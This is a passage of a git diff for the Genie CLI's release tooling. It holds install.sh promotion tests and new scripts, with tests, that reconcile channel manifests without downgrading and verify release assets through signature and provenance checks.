'LICENSE'), 'fixture license\n'); + for (const name of ['plugins', 'skills', 'templates', '.agents', '.claude-plugin']) { + mkdirSync(join(tree, name), { recursive: true }); + writeFileSync(join(tree, name, opts.sidecar ?? 'marker.txt'), `sidecar:${name}\n`); + } const tarball = join(root, `genie-${opts.version}.tar.gz`); const packed = Bun.spawnSync(['tar', '-czf', tarball, '-C', tree, '.'], { stdout: 'pipe', stderr: 'pipe' }); if (packed.exitCode !== 0) throw new Error(`tar failed: ${packed.stderr.toString()}`); @@ -62,7 +99,7 @@ function scaffold(root: string, opts: { liveVersion?: string } = {}): Layout { mkdirSync(join(homeRoot, '.local', 'bin'), { recursive: true }); const liveBinary = join(bin, 'genie'); if (opts.liveVersion) { - writeFileSync(liveBinary, fakeBinary(opts.liveVersion)); + writeFileSync(liveBinary, fakeBinary(opts.liveVersion, join(root, 'old-driver-unused.ts'))); chmodSync(liveBinary, 0o755); writeFileSync(join(bin, 'VERSION'), `${opts.liveVersion}\n`); mkdirSync(join(bin, 'plugins'), { recursive: true }); @@ -75,7 +112,15 @@ function scaffold(root: string, opts: { liveVersion?: string } = {}): Layout { * propagates as the process exit code, so exit codes are directly assertable. */ function runExtract(layout: Layout, tarball: string, version: string, extraEnv: Record = {}) { return Bun.spawnSync( - ['bash', '-c', 'source "$1"; extract_and_link "$2" "$3"', 'bash', INSTALL_SH, tarball, version], + [ + 'bash', + '-c', + 'source "$1"; acquire_lifecycle_lock; extract_and_link "$2" "$3"', + 'bash', + INSTALL_SH, + tarball, + version, + ], { env: { PATH: process.env.PATH ?? '', @@ -103,13 +148,14 @@ describe('install.sh .steal lifecycle-lock protocol (F42/F45–F47/F50 — must const PROTECTED_FUNCTIONS = [ 'logical_absolute_path', 'lock_mtime_seconds', + 'pid_is_live_or_unknown', 'lock_record_is_stale', 'foreign_lock_record_is_stale', 'recover_stale_lifecycle_lock', 'acquire_lifecycle_lock', 'release_lifecycle_lock', ]; - const PINNED_DIGEST = 'c6d5c4bd29f8c42a51300633f371fbe99fb293813c274d17286762d5f277194e'; + const PINNED_DIGEST = '022718a55602d39044e19a31905a280290e260d36a17d2bccad9ca9ee472c200'; function extractFunction(source: string, name: string): string { const lines = source.split('\n'); @@ -134,77 +180,138 @@ describe('install.sh .steal lifecycle-lock protocol (F42/F45–F47/F50 — must // --------------------------------------------------------------------------- describe('install.sh transactional binary promotion (F31a)', () => { - test('happy path: stages, backs up the old binary, promotes the new one, wires PATH', () => { + test('happy path delegates to the verified promoter, preserves the prior binary, and wires PATH', () => { const root = mkroot(); const layout = scaffold(root, { liveVersion: '5.260713.1' }); const tarball = buildTarball(root, { version: '5.260714.1', sidecar: 'new.txt' }); const run = runExtract(layout, tarball, '5.260714.1'); expect(run.exitCode).toBe(0); - expect(readFileSync(layout.liveBinary, 'utf-8')).toBe(fakeBinary('5.260714.1')); - // Old binary preserved for rollback. - expect(readdirSync(join(layout.bin, '.previous'))).toContain('genie-5.260713.1'); - expect(readFileSync(join(layout.bin, '.previous', 'genie-5.260713.1'), 'utf-8')).toBe(fakeBinary('5.260713.1')); - // Sidecars swapped: new present, old gone. + expect(readFileSync(layout.liveBinary, 'utf8')).toBe(fakeBinary('5.260714.1', join(root, 'promoter-driver.ts'))); + const backups = readdirSync(join(layout.bin, '.previous')).filter((name) => name.startsWith('genie-prior-')); + expect(backups).toHaveLength(1); + expect(readFileSync(join(layout.bin, '.previous', backups[0] as string), 'utf8')).toBe( + fakeBinary('5.260713.1', join(root, 'old-driver-unused.ts')), + ); expect(readdirSync(join(layout.bin, 'plugins'))).toEqual(['new.txt']); - // Symlink wired to the canonical binary. - expect(readFileSync(join(layout.homeRoot, '.local', 'bin', 'genie'), 'utf-8')).toBe(fakeBinary('5.260714.1')); - // Staging cleaned up. - expect(readdirSync(layout.bin).filter((e) => e.startsWith('.install-staging'))).toEqual([]); + const canonical = join(layout.homeRoot, '.local', 'bin', 'genie'); + expect(lstatSync(canonical).isSymbolicLink()).toBe(true); + expect(readlinkSync(canonical)).toBe(layout.liveBinary); + const retained = readdirSync(layout.bin).filter((entry) => entry.startsWith('.install-staging-')); + expect(retained).toEqual([]); }); - test('first install (no live binary) promotes without a backup', () => { + test('first install promotes every physical release member without manufacturing a backup', () => { const root = mkroot(); const layout = scaffold(root); const tarball = buildTarball(root, { version: '5.260714.1' }); + const run = runExtract(layout, tarball, '5.260714.1'); + expect(run.exitCode).toBe(0); - expect(readFileSync(layout.liveBinary, 'utf-8')).toBe(fakeBinary('5.260714.1')); - expect(readdirSync(join(layout.bin, '.previous')).filter((e) => e.startsWith('genie-'))).toEqual([]); + expect(readFileSync(join(layout.bin, 'VERSION'), 'utf8')).toBe('5.260714.1\n'); + const previous = join(layout.bin, '.previous'); + expect(existsSync(previous) ? readdirSync(previous) : []).toEqual([]); + for (const name of ['plugins', 'skills', 'templates', '.agents', '.claude-plugin']) { + expect(lstatSync(join(layout.bin, name)).isDirectory()).toBe(true); + expect(lstatSync(join(layout.bin, name)).isSymbolicLink()).toBe(false); + } }); - test('corrupt artifact (tarball has no genie binary) fails closed; live binary intact', () => { + test('corrupt artifact with no Genie executable fails closed and leaves live bytes intact', () => { const root = mkroot(); const layout = scaffold(root, { liveVersion: '5.260713.1' }); const tarball = buildTarball(root, { version: '5.260714.1', withBinary: false }); + const run = runExtract(layout, tarball, '5.260714.1'); + expect(run.exitCode).toBe(4); - expect(run.stderr.toString()).toContain('corrupt artifact'); - expect(readFileSync(layout.liveBinary, 'utf-8')).toBe(fakeBinary('5.260713.1')); + expect(run.stderr.toString()).toContain('physical executable'); + expect(readFileSync(layout.liveBinary, 'utf8')).toBe(fakeBinary('5.260713.1', join(root, 'old-driver-unused.ts'))); }); - test('corrupt tarball (not a gzip archive) fails closed; live binary intact', () => { + test('corrupt tarball fails closed and leaves live bytes intact', () => { const root = mkroot(); const layout = scaffold(root, { liveVersion: '5.260713.1' }); const tarball = join(root, 'garbage.tar.gz'); - writeFileSync(tarball, 'this is not a gzip archive'); + writeFileSync(tarball, 'not a gzip archive'); + const run = runExtract(layout, tarball, '5.260714.1'); + expect(run.exitCode).toBe(5); - expect(readFileSync(layout.liveBinary, 'utf-8')).toBe(fakeBinary('5.260713.1')); + expect(readFileSync(layout.liveBinary, 'utf8')).toBe(fakeBinary('5.260713.1', join(root, 'old-driver-unused.ts'))); }); - test('version mismatch (wrong tarball) fails closed; live binary intact', () => { + test('version mismatch fails before the hidden promoter receives mutation authority', () => { const root = mkroot(); const layout = scaffold(root, { liveVersion: '5.260713.1' }); const tarball = buildTarball(root, { version: '9.999999.9' }); + const run = runExtract(layout, tarball, '5.260714.1'); + expect(run.exitCode).toBe(4); expect(run.stderr.toString()).toContain('version mismatch'); - expect(readFileSync(layout.liveBinary, 'utf-8')).toBe(fakeBinary('5.260713.1')); + expect(readFileSync(layout.liveBinary, 'utf8')).toBe(fakeBinary('5.260713.1', join(root, 'old-driver-unused.ts'))); }); - test('kill mid-swap (fault injected before the atomic rename) leaves the old binary runnable', () => { + test('an occupied canonical pathname is preserved and blocks live promotion', () => { const root = mkroot(); const layout = scaffold(root, { liveVersion: '5.260713.1' }); + const canonical = join(layout.homeRoot, '.local', 'bin', 'genie'); + writeFileSync(canonical, 'foreign canonical file'); const tarball = buildTarball(root, { version: '5.260714.1' }); - const run = runExtract(layout, tarball, '5.260714.1', { GENIE_INSTALL_SWAP_FAULT: 'before-promote' }); + + const run = runExtract(layout, tarball, '5.260714.1'); + expect(run.exitCode).toBe(1); - // The old binary is still the live one, byte-for-byte, and still runs. - expect(readFileSync(layout.liveBinary, 'utf-8')).toBe(fakeBinary('5.260713.1')); - const probe = Bun.spawnSync([layout.liveBinary, '--version'], { stdout: 'pipe' }); - expect(probe.stdout.toString().trim()).toBe('5.260713.1'); - // A rollback candidate was captured before the injected failure. - expect(readdirSync(join(layout.bin, '.previous'))).toContain('genie-5.260713.1'); + expect(readFileSync(canonical, 'utf8')).toBe('foreign canonical file'); + expect(readFileSync(layout.liveBinary, 'utf8')).toBe(fakeBinary('5.260713.1', join(root, 'old-driver-unused.ts'))); + }); + + test('a symlinked GENIE_HOME/bin is rejected without writing through it', () => { + const root = mkroot(); + const layout = scaffold(root); + const victim = join(root, 'bin-victim'); + rmSync(layout.bin, { recursive: true }); + mkdirSync(victim); + writeFileSync(join(victim, 'sentinel'), 'untouched'); + symlinkSync(victim, layout.bin, 'dir'); + const tarball = buildTarball(root, { version: '5.260714.1' }); + + const run = runExtract(layout, tarball, '5.260714.1'); + + expect(run.exitCode).toBe(1); + expect(readFileSync(join(victim, 'sentinel'), 'utf8')).toBe('untouched'); + expect(readdirSync(victim)).toEqual(['sentinel']); + }); + + test('a second install converges without clobbering the existing canonical link', () => { + const root = mkroot(); + const layout = scaffold(root, { liveVersion: '5.260713.1' }); + const tarball = buildTarball(root, { version: '5.260714.1' }); + expect(runExtract(layout, tarball, '5.260714.1').exitCode).toBe(0); + const link = join(layout.homeRoot, '.local', 'bin', 'genie'); + const firstInode = lstatSync(link).ino; + + const retry = runExtract(layout, tarball, '5.260714.1'); + + expect(retry.exitCode).toBe(0); + expect(lstatSync(link).ino).toBe(firstInode); + expect(readlinkSync(link)).toBe(layout.liveBinary); + expect(readdirSync(join(layout.bin, '.previous')).filter((name) => name.startsWith('genie-prior-'))).toHaveLength( + 2, + ); + }); + + test('extract_and_link contains no shell live-swap, clobber-link, chmod, or staging-delete primitive', () => { + const source = readFileSync(INSTALL_SH, 'utf8'); + const body = source.slice(source.indexOf('extract_and_link() {'), source.indexOf('\n}\n\n# Detect pre-cutover')); + + expect(body).toContain('"$STAGING_DIR/genie" __install-promote'); + expect(body).toContain('GENIE_LIFECYCLE_LEASE_PATH="$LIFECYCLE_LOCK"'); + expect(body).toContain('GENIE_LIFECYCLE_LEASE_OWNER="$LIFECYCLE_OWNER_RECORD"'); + expect(body).not.toMatch(/\b(?:rm|mv|cp|chmod)\b/); + expect(body).not.toContain('ln -sfn'); }); }); diff --git a/scripts/reconcile-channel-manifests.sh b/scripts/reconcile-channel-manifests.sh new file mode 100644 index 000000000..6b61de8f4 --- /dev/null +++ b/scripts/reconcile-channel-manifests.sh @@ -0,0 +1,143 @@ +#!/usr/bin/env bash + +set -euo pipefail + +: "${VERSION:?VERSION is required}" +: "${CHANNEL:?CHANNEL is required}" +RELEASE_REPOSITORY="${RELEASE_REPOSITORY:-${GITHUB_REPOSITORY:-}}" +: "${RELEASE_REPOSITORY:?RELEASE_REPOSITORY or GITHUB_REPOSITORY is required}" +RELEASED_AT="${RELEASED_AT:-$(date -u +%Y-%m-%dT%H:%M:%SZ)}" + +VERSION_RE='^[0-9]+\.[0-9]+\.[0-9]+$' +[[ "$VERSION" =~ $VERSION_RE ]] || { + echo "invalid release manifest version: ${VERSION}" >&2 + exit 2 +} +[[ "$RELEASE_REPOSITORY" =~ ^[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+$ ]] || { + echo "invalid release repository: ${RELEASE_REPOSITORY}" >&2 + exit 2 +} +if ! jq -en --arg released_at "$RELEASED_AT" ' + ($released_at | test("^[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}Z$")) and + (($released_at | fromdateiso8601) | type == "number") +' >/dev/null; then + echo "invalid release timestamp: ${RELEASED_AT}" >&2 + exit 2 +fi + +# Print 1 when left is newer, 0 when equal, and -1 when older. Components are +# compared as normalized decimal strings, avoiding host integer-width limits. +compare_numeric_versions() { + local left="$1" right="$2" index left_component right_component + local -a left_parts right_parts + [[ "$left" =~ $VERSION_RE && "$right" =~ $VERSION_RE ]] || return 2 + IFS='.' read -r -a left_parts <<<"$left" + IFS='.' read -r -a right_parts <<<"$right" + for index in 0 1 2; do + left_component="${left_parts[$index]}" + right_component="${right_parts[$index]}" + while [[ ${#left_component} -gt 1 && "$left_component" == 0* ]]; do left_component="${left_component#0}"; done + while [[ ${#right_component} -gt 1 && "$right_component" == 0* ]]; do right_component="${right_component#0}"; done + if [[ ${#left_component} -gt ${#right_component} ]]; then printf '1\n'; return 0; fi + if [[ ${#left_component} -lt ${#right_component} ]]; then printf '%s\n' '-1'; return 0; fi + if [[ "$left_component" > "$right_component" ]]; then printf '1\n'; return 0; fi + if [[ "$left_component" < "$right_component" ]]; then printf '%s\n' '-1'; return 0; fi + done + printf '0\n' +} + +case "$CHANNEL" in + stable) TARGETS=('stable:latest.json' 'homolog:homolog.json' 'dev:dev.json') ;; + homolog) TARGETS=('homolog:homolog.json' 'dev:dev.json') ;; + dev) TARGETS=('dev:dev.json') ;; + *) echo "unknown channel: ${CHANNEL} (valid: stable, homolog, dev)" >&2; exit 2 ;; +esac + +if [[ -e .well-known || -L .well-known ]]; then + [[ -d .well-known && ! -L .well-known ]] || { + echo '.well-known must be a physical directory' >&2 + exit 3 + } +else + mkdir .well-known +fi + +for target in "${TARGETS[@]}"; do + manifest_channel="${target%%:*}" + file="${target#*:}" + path=".well-known/${file}" + advance=true + + if [[ -e "$path" || -L "$path" ]]; then + [[ -f "$path" && ! -L "$path" ]] || { + echo "manifest path must be a physical regular file: ${path}" >&2 + exit 3 + } + current_version="$(jq -er '.version | strings' "$path")" || { + echo "manifest has no valid version: ${path}" >&2 + exit 3 + } + [[ "$current_version" =~ $VERSION_RE ]] || { + echo "manifest has an unsupported version in ${path}: ${current_version}" >&2 + exit 3 + } + expected_tarball_base="https://github.com/${RELEASE_REPOSITORY}/releases/download/v${current_version}" + if ! jq -e \ + --arg channel "$manifest_channel" \ + --arg version "$current_version" \ + --arg tarball_base "$expected_tarball_base" \ + ' + type == "object" and + (keys == ["channel", "platforms", "released_at", "schema_version", "tarball_base", "version"]) and + .schema_version == 1 and + .channel == $channel and + .version == $version and + .tarball_base == $tarball_base and + .platforms == ["linux-x64-glibc", "linux-x64-musl", "linux-arm64", "darwin-arm64"] and + (.released_at | type == "string") and + (.released_at | test("^[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}Z$")) and + ([.released_at | fromdateiso8601] | length == 1) + ' "$path" >/dev/null; then + echo "manifest schema is invalid or does not match its repository/channel/version: ${path}" >&2 + exit 3 + fi + comparison="$(LC_ALL=C compare_numeric_versions "$VERSION" "$current_version")" || { + echo "manifest has an unsupported version in ${path}: ${current_version}" >&2 + exit 3 + } + case "$comparison" in + 1) ;; + 0) + advance=false + echo "::notice ::release-manifest.equal ${manifest_channel} already points to v${VERSION}; preserving timestamp" + ;; + -1) + advance=false + echo "::notice ::release-manifest.newer ${manifest_channel} stays at newer v${current_version}; refusing downgrade to v${VERSION}" + ;; + *) echo "internal version comparison error" >&2; exit 3 ;; + esac + fi + + if [[ "$advance" == true ]]; then + temporary="$(mktemp ".well-known/.${file}.XXXXXX")" + if ! jq -n \ + --arg channel "$manifest_channel" \ + --arg version "$VERSION" \ + --arg released_at "$RELEASED_AT" \ + --arg tarball_base "https://github.com/${RELEASE_REPOSITORY}/releases/download/v${VERSION}" \ + '{ + schema_version: 1, + channel: $channel, + version: $version, + released_at: $released_at, + tarball_base: $tarball_base, + platforms: ["linux-x64-glibc", "linux-x64-musl", "linux-arm64", "darwin-arm64"] + }' >"$temporary"; then + rm -f "$temporary" + exit 3 + fi + mv "$temporary" "$path" + echo "advanced ${manifest_channel} manifest to v${VERSION}" + fi +done diff --git a/scripts/reconcile-channel-manifests.test.ts b/scripts/reconcile-channel-manifests.test.ts new file mode 100644 index 000000000..67a40b8c3 --- /dev/null +++ b/scripts/reconcile-channel-manifests.test.ts @@ -0,0 +1,138 @@ +import { afterEach, describe, expect, test } from 'bun:test'; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; + +const SCRIPT = join(import.meta.dir, 'reconcile-channel-manifests.sh'); +const roots: string[] = []; + +afterEach(() => { + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); + +function root(): string { + const path = mkdtempSync(join(tmpdir(), 'genie-channel-manifests-')); + roots.push(path); + mkdirSync(join(path, '.well-known')); + return path; +} + +function manifest( + channel: string, + version: string, + releasedAt = '2026-07-13T00:00:00Z', + overrides: Record = {}, +): string { + return `${JSON.stringify({ + schema_version: 1, + channel, + version, + released_at: releasedAt, + tarball_base: `https://github.com/automagik-dev/genie/releases/download/v${version}`, + platforms: ['linux-x64-glibc', 'linux-x64-musl', 'linux-arm64', 'darwin-arm64'], + ...overrides, + })}\n`; +} + +function run(cwd: string, version: string, channel: string) { + return Bun.spawnSync(['bash', SCRIPT], { + cwd, + env: { + ...process.env, + VERSION: version, + CHANNEL: channel, + RELEASE_REPOSITORY: 'automagik-dev/genie', + RELEASED_AT: '2026-07-14T12:00:00Z', + }, + stdout: 'pipe', + stderr: 'pipe', + }); +} + +describe('channel manifest monotonic reconciliation', () => { + test('stable advances only older pointers and preserves equal/newer downstream feeds byte-for-byte', () => { + const cwd = root(); + const latest = join(cwd, '.well-known', 'latest.json'); + const homolog = join(cwd, '.well-known', 'homolog.json'); + const dev = join(cwd, '.well-known', 'dev.json'); + writeFileSync(latest, manifest('stable', '5.260712.9')); + writeFileSync(homolog, manifest('homolog', '5.260713.1')); + writeFileSync(dev, manifest('dev', '5.260714.1')); + const homologBefore = readFileSync(homolog, 'utf8'); + const devBefore = readFileSync(dev, 'utf8'); + + const result = run(cwd, '5.260713.1', 'stable'); + expect(result.exitCode).toBe(0); + expect(JSON.parse(readFileSync(latest, 'utf8')).version).toBe('5.260713.1'); + expect(readFileSync(homolog, 'utf8')).toBe(homologBefore); + expect(readFileSync(dev, 'utf8')).toBe(devBefore); + expect(result.stdout.toString()).toContain('refusing downgrade to v5.260713.1'); + }); + + test('an equal-version replay is byte-for-byte idempotent and preserves released_at', () => { + const cwd = root(); + const dev = join(cwd, '.well-known', 'dev.json'); + writeFileSync(dev, manifest('dev', '5.260714.1')); + const before = readFileSync(dev, 'utf8'); + + const result = run(cwd, '5.260714.1', 'dev'); + expect(result.exitCode).toBe(0); + expect(readFileSync(dev, 'utf8')).toBe(before); + expect(result.stdout.toString()).toContain('preserving timestamp'); + }); + + test('a newer dev release advances the dev pointer', () => { + const cwd = root(); + const dev = join(cwd, '.well-known', 'dev.json'); + writeFileSync(dev, manifest('dev', '5.260714.1')); + + const result = run(cwd, '5.260714.2', 'dev'); + expect(result.exitCode).toBe(0); + const updated = JSON.parse(readFileSync(dev, 'utf8')) as { version: string; released_at: string }; + expect(updated.version).toBe('5.260714.2'); + expect(updated.released_at).toBe('2026-07-14T12:00:00Z'); + }); + + test('malformed current state and unsupported candidate versions fail closed', () => { + const cwd = root(); + writeFileSync(join(cwd, '.well-known', 'dev.json'), '{"channel":"dev","version":"newest"}\n'); + expect(run(cwd, '5.260714.2', 'dev').exitCode).toBe(3); + expect(run(cwd, '5.260714.2-rc.1', 'dev').exitCode).toBe(2); + }); + + test('equal/newer manifests are preserved only after their complete schema validates', () => { + const corruptions: Record[] = [ + { schema_version: 2 }, + { released_at: 'not-a-timestamp' }, + { tarball_base: 'https://example.invalid/releases/download/v5.260714.1' }, + { platforms: ['linux-x64-glibc'] }, + { unexpected: true }, + ]; + for (const corruption of corruptions) { + const cwd = root(); + writeFileSync(join(cwd, '.well-known', 'dev.json'), manifest('dev', '5.260714.1', undefined, corruption)); + const result = run(cwd, '5.260714.1', 'dev'); + expect(result.exitCode).toBe(3); + expect(result.stderr.toString()).toContain('manifest schema is invalid'); + } + }); + + test('rejects an invalid candidate timestamp before writing manifests', () => { + const cwd = root(); + const result = Bun.spawnSync(['bash', SCRIPT], { + cwd, + env: { + ...process.env, + VERSION: '5.260714.2', + CHANNEL: 'dev', + RELEASE_REPOSITORY: 'automagik-dev/genie', + RELEASED_AT: '2026-99-99T12:00:00Z', + }, + stdout: 'pipe', + stderr: 'pipe', + }); + expect(result.exitCode).toBe(2); + expect(result.stderr.toString()).toContain('invalid release timestamp'); + expect(existsSync(join(cwd, '.well-known', 'dev.json'))).toBe(false); + }); +}); diff --git a/scripts/reconcile-release-assets.sh b/scripts/reconcile-release-assets.sh new file mode 100644 index 000000000..a436416a9 --- /dev/null +++ b/scripts/reconcile-release-assets.sh @@ -0,0 +1,227 @@ +#!/usr/bin/env bash + +set -euo pipefail + +: "${VERSION:?VERSION is required}" +RELEASE_REPOSITORY="${RELEASE_REPOSITORY:-${GITHUB_REPOSITORY:-}}" +: "${RELEASE_REPOSITORY:?RELEASE_REPOSITORY or GITHUB_REPOSITORY is required}" +DIST_DIR="${DIST_DIR:-dist}" + +[[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]] || { + echo "invalid release asset version: ${VERSION}" >&2 + exit 2 +} +[[ "$RELEASE_REPOSITORY" =~ ^[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+$ ]] || { + echo "invalid release repository: ${RELEASE_REPOSITORY}" >&2 + exit 2 +} +[[ -d "$DIST_DIR" && ! -L "$DIST_DIR" ]] || { + echo "release asset directory must be a physical directory: ${DIST_DIR}" >&2 + exit 3 +} + +TAG="v${VERSION}" +PLATFORMS=(linux-x64-glibc linux-x64-musl linux-arm64 darwin-arm64) +EXPECTED=() +for platform in "${PLATFORMS[@]}"; do + tarball="genie-${VERSION}-${platform}.tar.gz" + EXPECTED+=("$tarball" "${tarball}.bundle" "${tarball}.intoto.jsonl") +done + +is_expected_name() { + local candidate="$1" expected + for expected in "${EXPECTED[@]}"; do + [[ "$candidate" == "$expected" ]] && return 0 + done + return 1 +} + +# Validate the complete local inventory before asking GitHub about the release. +# Artifact downloads are untrusted filesystem input: directories, symlinks, +# empty files, missing sidecars, and extra names all fail before any upload. +shopt -s nullglob dotglob +LOCAL_ENTRIES=("$DIST_DIR"/*) +shopt -u nullglob dotglob +[[ ${#LOCAL_ENTRIES[@]} -eq ${#EXPECTED[@]} ]] || { + echo "local release inventory must contain exactly ${#EXPECTED[@]} assets; found ${#LOCAL_ENTRIES[@]}" >&2 + exit 3 +} +for path in "${LOCAL_ENTRIES[@]}"; do + name="${path##*/}" + is_expected_name "$name" || { + echo "unexpected local release asset: ${name}" >&2 + exit 3 + } + [[ -f "$path" && ! -L "$path" && -s "$path" ]] || { + echo "local release asset must be a nonempty physical regular file: ${name}" >&2 + exit 3 + } +done +for name in "${EXPECTED[@]}"; do + [[ -f "$DIST_DIR/$name" && ! -L "$DIST_DIR/$name" && -s "$DIST_DIR/$name" ]] || { + echo "missing or unsafe local release asset: ${name}" >&2 + exit 3 + } +done + +WORK_ROOT="$(mktemp -d "${TMPDIR:-/tmp}/genie-release-assets.XXXXXX")" +trap 'rm -rf "$WORK_ROOT"' EXIT HUP INT TERM +REMOTE_JSON="$WORK_ROOT/remote.json" +EXPECTED_JSON="$(printf '%s\n' "${EXPECTED[@]}" | jq -R . | jq -s .)" + +fetch_remote_inventory() { + gh release view "$TAG" --repo "$RELEASE_REPOSITORY" --json assets,isDraft >"$REMOTE_JSON" + jq -e --argjson expected "$EXPECTED_JSON" ' + (.assets | type == "array") and + (.isDraft | type == "boolean") and + (all(.assets[]; (.name | type == "string"))) and + (([.assets[].name] | length) == ([.assets[].name] | unique | length)) and + (all(.assets[]; .name as $name | ($expected | index($name)) != null)) + ' "$REMOTE_JSON" >/dev/null || { + echo "remote release contains malformed, duplicate, or unexpected assets: ${TAG}" >&2 + exit 3 + } +} + +remote_has() { + jq -e --arg name "$1" 'any(.assets[]; .name == $name)' "$REMOTE_JSON" >/dev/null +} + +remote_is_complete() { + jq -e --argjson expected "$EXPECTED_JSON" '([.assets[].name] | sort) == ($expected | sort)' \ + "$REMOTE_JSON" >/dev/null +} + +download_remote() { + local name="$1" destination="$2" path + mkdir "$destination" + gh release download "$TAG" --repo "$RELEASE_REPOSITORY" --pattern "$name" --dir "$destination" + path="$destination/$name" + [[ -f "$path" && ! -L "$path" && -s "$path" ]] || { + echo "downloaded release asset must be a nonempty physical regular file: ${name}" >&2 + exit 3 + } +} + +fetch_remote_inventory + +if remote_is_complete; then + # Promotions rebuild functionally equivalent but not bit-for-bit identical + # tarballs. A complete published inventory is immutable input: download and + # validate it, but never replace it with the current run's bytes. + differs=false + complete="$WORK_ROOT/complete" + mkdir "$complete" + for name in "${EXPECTED[@]}"; do + gh release download "$TAG" --repo "$RELEASE_REPOSITORY" --pattern "$name" --dir "$complete" + [[ -f "$complete/$name" && ! -L "$complete/$name" && -s "$complete/$name" ]] || { + echo "downloaded release asset must be a nonempty physical regular file: ${name}" >&2 + exit 3 + } + if ! cmp -- "$DIST_DIR/$name" "$complete/$name"; then + differs=true + fi + done + + if [[ "$(jq -r '.isDraft' "$REMOTE_JSON")" == true ]]; then + [[ "$differs" == false ]] || { + echo "complete draft assets differ from this run; refusing to publish mixed or stale bytes" >&2 + exit 3 + } + echo "${TAG} draft already has this run's exact complete release inventory" + exit 0 + fi + + command -v cosign >/dev/null || { echo 'cosign is required to verify published assets' >&2; exit 3; } + command -v slsa-verifier >/dev/null || { echo 'slsa-verifier is required to verify published assets' >&2; exit 3; } + for platform in "${PLATFORMS[@]}"; do + tarball="$complete/genie-${VERSION}-${platform}.tar.gz" + cosign verify-blob \ + --bundle "${tarball}.bundle" \ + --certificate-identity "https://github.com/${RELEASE_REPOSITORY}/.github/workflows/sign-attest.yml@refs/heads/main" \ + --certificate-oidc-issuer 'https://token.actions.githubusercontent.com' \ + "$tarball" + generic_result="$WORK_ROOT/generic-${platform}.json" + slsa-verifier verify-artifact "$tarball" \ + --provenance-path "${tarball}.intoto.jsonl" \ + --source-uri "github.com/${RELEASE_REPOSITORY}" \ + --source-branch main \ + --print-provenance >"$generic_result" + bash "$(dirname "$0")/release-generic-provenance.sh" verify-reusable "$generic_result" + result="$WORK_ROOT/native-${platform}.json" + gh attestation verify "$tarball" \ + --repo "$RELEASE_REPOSITORY" \ + --predicate-type https://slsa.dev/provenance/v1 \ + --cert-identity "https://github.com/${RELEASE_REPOSITORY}/.github/workflows/sign-attest.yml@refs/heads/main" \ + --source-ref refs/heads/main \ + --signer-workflow "${RELEASE_REPOSITORY}/.github/workflows/sign-attest.yml" \ + --format json >"$result" + native_helper="$(dirname "$0")/release-native-predicate.sh" + remote_control_sha="$(bash "$native_helper" reusable-control-sha "$result")" + exact_result="$WORK_ROOT/native-exact-${platform}.json" + gh attestation verify "$tarball" \ + --repo "$RELEASE_REPOSITORY" \ + --predicate-type https://slsa.dev/provenance/v1 \ + --cert-identity "https://github.com/${RELEASE_REPOSITORY}/.github/workflows/sign-attest.yml@refs/heads/main" \ + --source-ref refs/heads/main \ + --source-digest "$remote_control_sha" \ + --signer-digest "$remote_control_sha" \ + --signer-workflow "${RELEASE_REPOSITORY}/.github/workflows/sign-attest.yml" \ + --format json >"$exact_result" + exact_control_sha="$(bash "$native_helper" reusable-control-sha "$exact_result")" + [[ "$exact_control_sha" == "$remote_control_sha" ]] || { + echo "certificate-filtered attestation control digest mismatch for ${platform}" >&2 + exit 3 + } + done + if [[ "$differs" == false ]]; then + echo "${TAG} already has the exact complete release inventory" + else + echo "::notice ::release-assets.reused ${TAG} has a complete verified inventory; preserving its exact published bytes" + fi + exit 0 +fi + +# A partial draft may be resumed only when every already-uploaded byte matches +# this run. Any mismatch fails closed; `--clobber` is deliberately forbidden. +[[ "$(jq -r '.isDraft' "$REMOTE_JSON")" == true ]] || { + echo "refusing to mutate an incomplete published release: ${TAG}" >&2 + exit 3 +} +MISSING=() +index=0 +for name in "${EXPECTED[@]}"; do + if remote_has "$name"; then + destination="$WORK_ROOT/partial-${index}" + download_remote "$name" "$destination" + cmp -- "$DIST_DIR/$name" "$destination/$name" || { + echo "existing partial release asset differs; refusing to replace it: ${name}" >&2 + exit 3 + } + else + MISSING+=("$DIST_DIR/$name") + fi + index=$((index + 1)) +done + +if [[ ${#MISSING[@]} -gt 0 ]]; then + gh release upload "$TAG" --repo "$RELEASE_REPOSITORY" "${MISSING[@]}" +fi + +fetch_remote_inventory +remote_is_complete || { + echo "remote release inventory is incomplete after upload: ${TAG}" >&2 + exit 3 +} + +index=0 +for name in "${EXPECTED[@]}"; do + destination="$WORK_ROOT/final-${index}" + download_remote "$name" "$destination" + cmp -- "$DIST_DIR/$name" "$destination/$name" || { + echo "remote release asset verification failed after upload: ${name}" >&2 + exit 3 + } + index=$((index + 1)) +done +echo "verified exact ${#EXPECTED[@]}-asset inventory for ${TAG}" diff --git a/scripts/reconcile-release-assets.test.ts b/scripts/reconcile-release-assets.test.ts new file mode 100644 index 000000000..dc03d6cc4 --- /dev/null +++ b/scripts/reconcile-release-assets.test.ts @@ -0,0 +1,308 @@ +import { afterEach, describe, expect, test } from 'bun:test'; +import { chmodSync, mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; + +const SCRIPT = join(import.meta.dir, 'reconcile-release-assets.sh'); +const VERSION = '5.260714.3'; +const PLATFORMS = ['linux-x64-glibc', 'linux-x64-musl', 'linux-arm64', 'darwin-arm64']; +const NAMES = PLATFORMS.flatMap((platform) => { + const tarball = `genie-${VERSION}-${platform}.tar.gz`; + return [tarball, `${tarball}.bundle`, `${tarball}.intoto.jsonl`]; +}); +const roots: string[] = []; + +interface FakeState { + draft: boolean; + assets: Record; + calls?: Array<{ tool: string; args: string[] }>; + failOn?: string; + controlSha?: string; + secondControlSha?: string; + remoteAssets?: unknown; + invalidGeneric?: boolean; + invalidNative?: boolean; +} + +afterEach(() => { + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); + +function localAssets(prefix = 'local'): Record { + return Object.fromEntries(NAMES.map((name) => [name, `${prefix}:${name}`])); +} + +function 